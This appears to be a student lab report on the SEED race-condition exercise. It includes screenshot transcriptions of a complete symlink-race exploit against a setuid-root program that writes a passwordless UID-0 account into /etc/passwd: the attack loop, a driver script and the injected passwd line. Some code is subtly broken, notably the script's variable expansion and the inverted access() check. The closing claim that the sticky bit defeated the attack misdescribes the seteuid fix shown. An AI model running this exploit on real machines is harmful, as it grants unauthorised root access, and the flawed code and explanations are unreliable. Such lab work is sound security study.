

Race Condition Lab

Task 1

```
Text Editor
root@VM: /home/seed

Error creating proxy: The connection is closed (g-io-error-quark, 18)
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(gedit:2779): Glib-GIO-CRITICAL **: g_dbus_connection_get_object: assertion 'G_IS_DBUS_CONNECTION (connection)' failed
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(gedit:2779): Glib-GIO-CRITICAL **: g_dbus_connection_get_object: assertion 'G_IS_DBUS_CONNECTION (connection)' failed
(gedit:2779): dconf-WARNING **: failed to commit changes to database: No space left on device
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backups: x:34:34:backups:/var/backups:/usr/sbin/nologin
lirc: x:39:39:lirc:/var/run/lirc:/usr/sbin/nologin
gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync: x:100:102:systemd Time Synchronization:,,/run/systemd:/bin/false
systemd-network: x:101:103:systemd Network Management:,,/run/systemd/netif:/bin/false
systemd-resolve: x:102:104:systemd Resolver:,,/run/systemd/resolve:/bin/false
systemd-bus-proxy: x:103:105:systemd Bus Proxy:,,/run/systemd:/bin/false
syslog: x:104:108::/home/syslog:/bin/false
apt: x:105:65534::/nonexistent:/bin/false
messagebus: x:106:110::/var/run/dbus:/bin/false
uuidd: x:107:111::/run/uuidd:/bin/false
lightdm: x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie: x:109:116::/nonexistent:/bin/false
avahi-autoipd: x:110:119:Avahi autoip daemon:,,/var/lib/avahi-autoipd:/bin/false
avahi: x:111:120:Avahi mDNS daemon:,,/var/run/avahi-daemon:/bin/false
dnsmasq: x:112:65534:dnsmasq:,,/var/lib/misc:/bin/false
colord: x:113:123:colord colour management daemon:,,/var/lib/colord:/bin/false
speech-dispatcher: x:114:29:Speech Dispatcher:,,/var/run/speech-dispatcher:/bin/false
hplip: x:115:7:HPLIP system user:,,/var/run/hplip:/bin/false
kernoops: x:116:65534:Kernel Oops Tracking Daemon:,,/bin/false
pulse: x:117:124:PulseAudio daemon:,,/var/run/pulse:/bin/false
rtkit: x:118:126:RealtimeKit:,,/proc:/bin/false
saned: x:119:127::/var/lib/saned:/bin/false
usbmux: x:120:46:usbmux daemon:,,/var/lib/usbmux:/bin/false
seed: x:1000:1000:seed:,,/home/seed:/bin/bash
vboxadd: x:999:1::/var/run/vboxadd:/bin/false
telnetd: x:121:120::/nonexistent:/bin/false
sshd: x:122:65534::/var/run/ssh:/usr/sbin/nologin
ftp: x:123:130:ftp daemon:,,/srv/ftp:/bin/false
bind: x:124:131::/var/cache/bind:/bin/false
mysqld: x:125:132:MySQL Server:,,/nonexistent:/bin/false
parth: x:1001:1001:,,/home/parth:/bin/bash
root@seed:~#
```

```
Terminal
[10/03/19]seed@VM:~$ gedit vulp.c
[10/03/19]seed@VM:~$ gedit vulp.c
[10/03/19]seed@VM:~$ gedit /etc/passwd
[10/03/19]seed@VM:~$ gcc vulp.c -o vulp
vulp.c: In function 'main':
vulp.c:14:30: warning: implicit declaration of function 'strlen' [-Wimplicit-function-declaration]
fwrite(buffer, sizeof(char), strlen(buffer), fp);
                             ^
vulp.c:14:30: warning: incompatible implicit declaration of built-in function 'strlen'
vulp.c:14:30: note: include '<string.h>' or provide a declaration of 'strlen'
[10/03/19]seed@VM:~$ sudo chown root vulp
[10/03/19]seed@VM:~$ sudo chmod 4755 vulp
[10/03/19]seed@VM:~$ ls -ll vulp
-rwsr-xr-x 1 root seed 7628 Oct  3 23:00 vulp
[10/03/19]seed@VM:~$
```

```
Terminal
root@VM: /home/seed
vulp.c:14:30: warning: incompatible implicit declaration of built-in function 'strlen'
vulp.c:14:30: note: include '<string.h>' or provide a declaration of 'strlen'
[10/03/19]seed@VM:~$ sudo chown root vulp
[10/03/19]seed@VM:~$ sudo chmod 4755 vulp
[10/03/19]seed@VM:~$ ls -ll vulp
-rwsr-xr-x 1 root seed 7628 Oct  3 23:00 vulp
[10/03/19]seed@VM:~$ sudo gedit /etc/passwd

(gedit:2733): Gtk-WARNING **: Calling Inhibit failed: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.gnome.SessionManager was not provided by any .service files
** (gedit:2733): WARNING **: Set document metadata failed: Setting attribute metadata::gedit-spell-enabled not supported
** (gedit:2733): WARNING **: Set document metadata failed: Setting attribute metadata::gedit-encoding not supported
** (gedit:2733): WARNING **: Set document metadata failed: Setting attribute metadata::gedit-position not supported
[10/03/19]seed@VM:~$ su test
Password:
root@VM:/home/seed#
```

We first edited the /etc/passwd file with test as the username and insert the no hash valued and the user id as '0'.

The passwd file contains the username and passwords. The magic word that we put in the password field basically makes the user password equivalent to 'no password'. And the user id as 0 makes the user 'test' act as root. Therefore, when we change the user to test and press enter without typing any password we can see that the root account is logged in.

Task 2

```
Text Editor: File Edit View Search Tools Documents Help
root@VM:~$ gedit target_process.sh

target_process.sh (~/) - gedit
Open Save
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$(CHECK_FILE)
new=$(CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$(CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

The screenshot displays a Kali Linux desktop environment. On the left is a vertical dock containing icons for the Dash, Home Folder, Applications, and various utilities. The main workspace is divided into two windows. The background is a dark blue desktop wallpaper with a subtle pattern.

The first window is a terminal titled "root@VM:~". It shows the following commands and output:

```
[10/03/19]seed@VM:~$ gedit target_process.sh
[10/03/19]seed@VM:~$ gedit attack_process.c
```

The second window is a gedit text editor titled "attack_process.c (-) - gedit". It contains the following C code:

```
#include <unistd.h>


int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/home/seed/myFile", "/tmp/XYZ");
        usleep(10000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(10000);
    }

    return 0;
}
```


The status bar at the bottom of the gedit window shows "Loading file '/home/seed/attack_process.c'..." and "Ln 15, Col 3".

[illegible]



```
Text Editor vulp.c (-) - gedit
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer);
    if (access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else printf("No permission \n");
}

Loading file '/home/seed/vulp.c'...
[10/04/19]seed@VM:~$ cd /etc/
[10/04/19]seed@VM:/etc$ ls -ll passwd
-rw-r--r-- 1 root root 2656 Oct 4 16:18 passwd
[10/04/19]seed@VM:/etc$ gedit passwd
^C
[10/04/19]seed@VM:/etc$ cd
[10/04/19]seed@VM:~$ gedit vulp.c
```



```
Text Editor passwd_input (-) - gedit
test:U6aMyBwojraho:0:0:test:/root:/bin/bash |

Loading file '/home/seed/passwd_input'...
[10/04/19]seed@VM:/etc$ ls -ll passwd
-rw-r--r-- 1 root root 2656 Oct 4 16:18 passwd
[10/04/19]seed@VM:/etc$ gedit passwd
^C
[10/04/19]seed@VM:/etc$ cd
[10/04/19]seed@VM:~$ gedit vulp.c
[10/04/19]seed@VM:~$ gedit passwd_input
```

We can see that we have saved 4 files in total – vulp.c, attack_process.c, target_process.sh and passwd_input. We first run the vulnerable program (vulp.c) after which we run the attack_process.c and then target_process.sh. We can see from the above screenshot that at first we get No permission but eventually we are able to edit the /etc/passwd file. We can see that once we get the result as ‘STOP...the passwd file has been changed’. Now on checking the /etc/passwd we can confirm that we were successful in the attack.

The vulnerable program takes input from a file. The attack_process.c file change the symbolic link from /tmp/XYZ to /etc/passwd. We are automating this process as it is difficult to do it manually. When we

are successful in the race condition that is present between the check and open, the file is changed and the user test is created with root privilege.

Task 3


The image displays a Linux desktop environment with a dark theme. On the left side, there is a vertical dock containing icons for various applications, including a file manager, web browser, and terminal. The main area of the screen is occupied by two windows:

- A terminal window titled "Terminal" at the top. It shows the following commands and output:

```
[10/04/19]seed@VM:~$ gedit vulp.c  
(gedit:29609): Gtk-WARNING **: Attempting to read the recently used resources file at '/home/seed/.local/share/recently-used.xbel', but the parser failed: Failed to open file '/home/seed/.local/share/recently-used.xbel': Permission denied.  
[10/04/19]seed@VM:~$ gcc -o vulp vulp.c  
[10/04/19]seed@VM:~$ sudo chown root vulp  
[10/04/19]seed@VM:~$ sudo chmod 4755 vulp  
[10/04/19]seed@VM:~$ ./attack_process &  
[6] 29705  
[10/04/19]seed@VM:~$ ./target_process.sh  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission
```
- A code editor window titled "vulp.c (-) - gedit". It contains the source code for a C program named "vulp.c":

```
/* vulp.c */  
#include <stdio.h>  
#include <unistd.h>  
#include <string.h>  
  
int main()  
{  
    char * fn = "/tmp/XYZ";  
    char buffer[60];  
    FILE *fp;  
    /* get user input */  
    scanf("%s", buffer);  
    uid_t real_uid=getuid();  
    uid_t eff_uid=getuid();  
    seteuid(real_uid);  
    if(!access(fn, W_OK)){  
        fp = fopen(fn, "a+");  
        fwrite("\n", sizeof(char), 1, fp);  
        fwrite(buffer, sizeof(char), strlen(buffer), fp);  
        fclose(fp);  
    }  
    else printf("No permission \n");  
}
```

The status bar at the bottom of the code editor indicates "Saving file '/home/seed/vulp.c'...", "C", "Tab Width: 8", "Ln 15, Col 19", and "INS".



We first set the sticky bit and then run our program. We can see that our attack fails.

The sticky bit being set means that the file/directory is only editable by that person and no one else. And therefore our attack does not succeed.